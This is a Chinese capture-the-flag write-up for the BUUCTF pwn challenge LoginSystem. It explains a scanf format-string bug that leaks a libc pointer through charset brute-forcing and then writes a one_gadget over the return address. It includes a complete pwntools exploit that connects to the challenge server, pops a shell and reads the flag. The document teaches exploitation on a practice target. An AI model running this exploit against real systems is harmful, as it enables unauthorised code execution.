[BUUCTF-pwn] [HarekazeCTF2019]LoginSystem

printf漏洞的fmtstr见得多了,scanf第一次见

  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("Create an account first.");
        printf("# of charsets: ");
        __isoc99_scanf("%lu", &v5);
        getchar();
        if ( v5 <= 0x4F )
          break;
        puts("Too big");
      }
      printf("charsets: ");
      readstr((__int64)v6, v5);
      sprintf(s, "%%79[%s]", v6);
      printf("password: ");
      v4 = __isoc99_scanf(s, s1);
      getchar();
      if ( v4 == 1 )
        break;
      puts("Invalid password");
    }
    puts("Account created. Please input password again to log in.");
    printf("password: ");
    readstr((__int64)s2, 0x4FuLL);
    if ( !strcmp(s1, s2) )
      break;
    puts("Incorrect");
  }

程序先读入一个串,作为字符集合然后用%79[XXXXXX]去读串,成功了就跳出再验证密码,相同时退出。

这里基本看不出问题,问题在于内存的中残存指针

0000| 0x7ffd7d55d600 --> 0x1 
0008| 0x7ffd7d55d608 --> 0x10 
0016| 0x7ffd7d55d610 AAAAAAAA
0024| 0x7ffd7d55d618 AAAAAAAA
0032| 0x7ffd7d55d620 --> 0x7f0aaa40ba98 --> 0x7f0aaa40b9c8 --> .....
0040| 0x7ffd7d55d628 --> 0x7ffd7d55d768 --> 0x7f0aa9e12b97 (<__libc_start_main+231>)  # 11

在输入v6的后边0x10处有个libc+n的指针,再后边是一个指向ret的栈指针

利用:

  1. 当输入A*0x10后,实然上格式化串就变成 %79[AAA + p64(0x7f0aaa40ba98)] 这个方括号实际上是个集合,也就是得输入集合内的字符才能通过。这时候需要爆破一下有哪6个字符。(遇上A属于不幸运的情况)
  2. 得到字符集后再将A每次增长1个,也就是覆盖掉1位,哪个找不着了说明哪个是最后一个,依次找到6个字符的顺序,得到libc地址
  3. 在0x40这个位置(和printf一样的偏移)偏移11 。利用这个指针用%79[A]%11$llu将one_gadget读入到ret的位置
  4. 最后输入一条正常值,密码验证通过得到shell

这个exp大意都是网上搜的,仅加了注释

from pwn import *

'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
'''

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 28088) 

libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97

elf = ELF('./pwn')
context.arch = 'amd64'

def check(c, offset):
    p.sendlineafter(b"# of charsets: ", str(offset).encode())
    p.sendafter(b"charsets: ", b'A'*offset)
    p.sendafter(b"password: ", bytes([c]))
    tmp = p.recv(8, timeout=0.2)
    if tmp == b'':
        p.send(b'\x00')
        p.sendlineafter(b'password: ', b'A')
        print('ok:', offset, hex(c))
        return True
    else:
        return False
        
def leak(offset):
    v = set()
    for i in range(256):
        if i == 0x41:
            continue
        else:
            if check(i, offset):
                v.add(i)
    print('set:', v)

    address = 0
    for i in range(6):
        for j in v:
            if not check(j, offset+i+1): #+1后缺的那个就是最后一位
                address += j<<(i*8)
                v.remove(j)
                break
    print('leak:', hex(address))
    return address

#context.log_level = 'debug'
'''
0000| 0x7ffd7d55d600 --> 0x1 
0008| 0x7ffd7d55d608 --> 0x10 
0016| 0x7ffd7d55d610 AAAAAAAA
0024| 0x7ffd7d55d618 AAAAAAAA
0032| 0x7ffd7d55d620 --> 0x7f0aaa40ba98 --> 0x7f0aaa40b9c8 --> .....
0040| 0x7ffd7d55d628 --> 0x7ffd7d55d768 --> 0x7f0aa9e12b97 (<__libc_start_main+231>)  # 11
'''
# 在内存中v6+0x10位置有libc+0x61aa98 的残存指针,当输入16个A后会与指针相连,scanf变成如下形式,
# 只要输入值在以下集合内便可成功,可以确定指针含哪个字符
# scanf('%79[AAAAAAAAAA\x20\xd6\x55\x7d\xfd\x7f]')
# 然后将串依次+1,通过缺哪个字符确定字符的顺序
# 利用 offset 11的指向ret的指针将 one_gadget写到ret处
'''
gdb.attach(p)
pause()
'''

libc_base = leak(0x10) - 0x61aa98
print('libc:', hex(libc_base))

num = libc_base + one[0]
print('one:', hex(num))
payload = b'A]%11$llu'
p.sendlineafter(b"# of charsets: ", str(len(payload)).encode())
p.sendafter(b"charsets: ", payload)
p.sendlineafter(b"password: ", b'A'+str(num).encode())

p.sendlineafter(b"# of charsets: ", b'2')
p.sendlineafter(b"charsets: ", b'A')
p.sendlineafter(b"password: ", b'A')
p.sendlineafter(b"password: ", b'A')


p.sendline(b'cat /home/login/flag')
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值